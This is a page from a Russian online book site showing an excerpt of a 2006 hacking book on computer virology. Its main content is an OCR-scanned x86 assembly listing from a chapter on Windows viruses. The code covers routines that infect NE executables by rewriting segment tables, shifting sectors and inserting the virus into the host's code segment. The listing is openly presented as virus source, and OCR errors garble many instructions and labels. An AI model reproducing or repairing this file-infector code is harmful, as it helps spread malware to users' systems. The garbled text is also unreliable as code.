Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 103 104 105 106 107 108 < 109 > 110 111 112 113 114 115 .. 123 >> Следующая

INF07 inc ax INF07: pop cx
sub cx.ax ;сх=число секторов, необходимых для вируса mov [VIRSECSj.cx
;сохранить его здесь cal UPDATEjSBGTBL;выполняем модификацию (1), о
которой ;писалось выше
ГЛАВА 9. Вирусы под Windows
mov dx,[NH_OFFSET] xor cx.cx
call FILE_SEEK_ST перемещаем указатель файла на новый ;заголовок
moves,OFFSET NEWHDR+37Н ;зеро из области быстрой загрузки хог ах.ах stosb
stosw
stosw ;(8) выполнено
mov dx.OFFSET NEW_HDR
mov cx,NEW_HDR_SIZE ;обновляем новый заголовок в файле call FILE_WRITE
модификация (2) завершена
call MOVE_END_OUT .перемещаем конец вируса с помощью ;VIRSECS (3) и
устанавливаем счет RELOCS call SETUP_KERNEL ;помещаем модуль KERNEL в
'.вирусные перемещения call RELOCATE_RELOCS ;переносим перемещения в cs
(4)
INF1: call WRITE_VIRUS_CODE ;помещаем вирус в cs (5 и 6) call
UPDATE_RES_TABLE;обновляем записи таблицы ресурсов call FILE CLOSE
{закрываем файл INF2: ret
Следующая процедура обновляет записи сегментной таблицы на предмет (1) в
;INFECT_FILE.
UPDATE_SEG_TBL:
mov dx.WORD PTR [NEWHDR+16H] {читаем запись сегментной call GETSEGENTRY
{таблицы д ля первоначального cs mov ax.WORD PTR [TEMP+2] .получаем
размер сегмента add ax,VtRUS_SiZE добавляем размер вируса к размеру
сегмента mcvWORD PTR [ТЕМР*2],ах {обновляем размер в сегментной таблице
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov ах,WORD PTR [ТЕМР+6] ;получаем минимально назначаемый ; размер
сегмента or ах,ах ;он равен 64К? jz SHORT US2 ;да, оставить его в покое
US1:
add ax,VIRUS_SIZE ;добавить размер вируса jne SHORT US2 ;нет
переполнения, обновляем значение хог ах,ах ;иначе устанавливаем размер =
64К US2:
mov WORD PTR [ТЕМР+6],ах;обновляем размер в таблице в RAM mov al, 1 mov
cx.OFFFFH mov dx,-8
call FILE_SEEK;назад к локации записи сегментной таблицы mov dx,OFFSET
TEMP ;пишем модифицированную запись сегментной mov сх,8 ;таблиц ы для
первоначального cs в сегментную таблицу call FILE_WRfTE ;ОК, запись
первоначального cs сегментной .таблицы модифицирована mov di.WORD PTR
[NEW_HDR+1CH] ;получаем номер записи ;сегментной таблицы
US3:
push di дохранить счетчик таблицы уходов
mov dx.di ;dx=HOMep записи сегментной таблицы для чтения
call GET SEG ENTRY ;читаем его в буфере диска
mov ах,WORD PTR [TEMP] ; получаем офсет этого сегмента в файле
cmp ax,[INITSEC] ;он выше, чем первоначальный сегмент кода?
jle SHORT US4 ;нет, не подстраиваем
add ax,[VlRSECS] ;да, добавляем к нему размер вируса
US4:
movWORD PTR [ТВЛР],ах ;под страиваем локацию сегмента в памяти
ГЛАВА 9. Вирусы под Windows
mov al,1 mov cx.OFFFFH mov dx,-8
call FILE_SEEK ;возвращаемся к локации записи сегментной таблицы
mov dx.OFFSET TEMP mov cx,8
call RLE WRITE ;записываем модифицированную запись
; сегментной таблицы pop di ;восстанавливаем счетчик таблицы входов dec
di
jnz US3 ;петля, пока все сегменты не будут пройдены ret ;все выполнено
Эта подпрограмма переходит к номеру записи сегментной таблицы, указанному
в dx и читает его в буфере TEMP, dx-1 является первой записью!
GET_SEG_ENTRY: dec dx mov cl,3 shl dx.cl
add dx.[NH_OFFSET] add dx.WORD PTR [NEW_HDR+22H] ;требуется dx = из
записи хог cx.cx ;сегментной таблицы в файле call FILE_SEEK_ST ;переходим
к указанной таблице входов jc SHORT GSE1 ; выход при ошибке
mov dx.OFFSET TEMP mov cx,8
call FILE_READ ;читаем таблицу входов в буфере диска GSE1: ret

Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Эта подпрограмма перемещает конец вируса с помощью VIR-SECS. "Концом"
является все, что находится после первоначального сегмента кода в том
месте, где обитает вирус. Перед вызовом переменная VIRSECS должна быть
правильно настроена.
MOVE.ENDOUT:
mov ax,[CS_SIZE] '.размер cs в байтах перед инфекцией
mov cx,[LOG_SEC]
хог dx.dx
div cx
or dx,dx
jz SHORT ME01
inc ax
ME01:
add ax,[INITSEC] ;ах=следующий сектор после cs push ах сохраняем его xor
dx,dx хог сх.сх
mov al,2 ;ищем конец файла
call FILE SEEK ;возвращаем dx:ax = размер файла
mov cx,[LOGSEC]
div cx ;ах=секторов в файле
or dx,dx
jz ME015 ;подстраиваем дополнительные байты
inc ax
ME015:
mov dx.ax ;держим их здесь
pop di ;б1=самый нижний сектор для перемещение
sub dx.di ;бх=число секторов для перемещения
МЕ02:
push dx
А СО
ГЛАВА 9. Вирусы под Windows
push di
call MOVE_SECTORS ;переносим столько, сколько позволяет .буфер данных pop
di ;число перенесенных секторов возвращаем в ах pop dx sub dx.ax or dx.dx
jnz ME02 ret
Эта подпрограмма переносит столько секторов, сколько позволяет буфер
вплоть до требуемого количества. В записи dx-максимальному количеству
секторов, назначенных для перемещения, а di-номеру самого нижнего
сектора, назначенного для перемещения. Эта подпрограмма работает от конца
файла, поэтому если X является числом секторов для перемещения, все эти
секторы переносятся из di+dx-X в di+dx-1. Все секторы переносятся с
помощью [VIRSECS].
MOVE_SECTORS:
push dx ;сначала опред еляем количество секторов для перемещения mov ах,
DATABUF_SIZE mov cx,[LOG_SEC] xor dx.dx
Предыдущая << 1 .. 103 104 105 106 107 108 < 109 > 110 111 112 113 114 115 .. 123 >> Следующая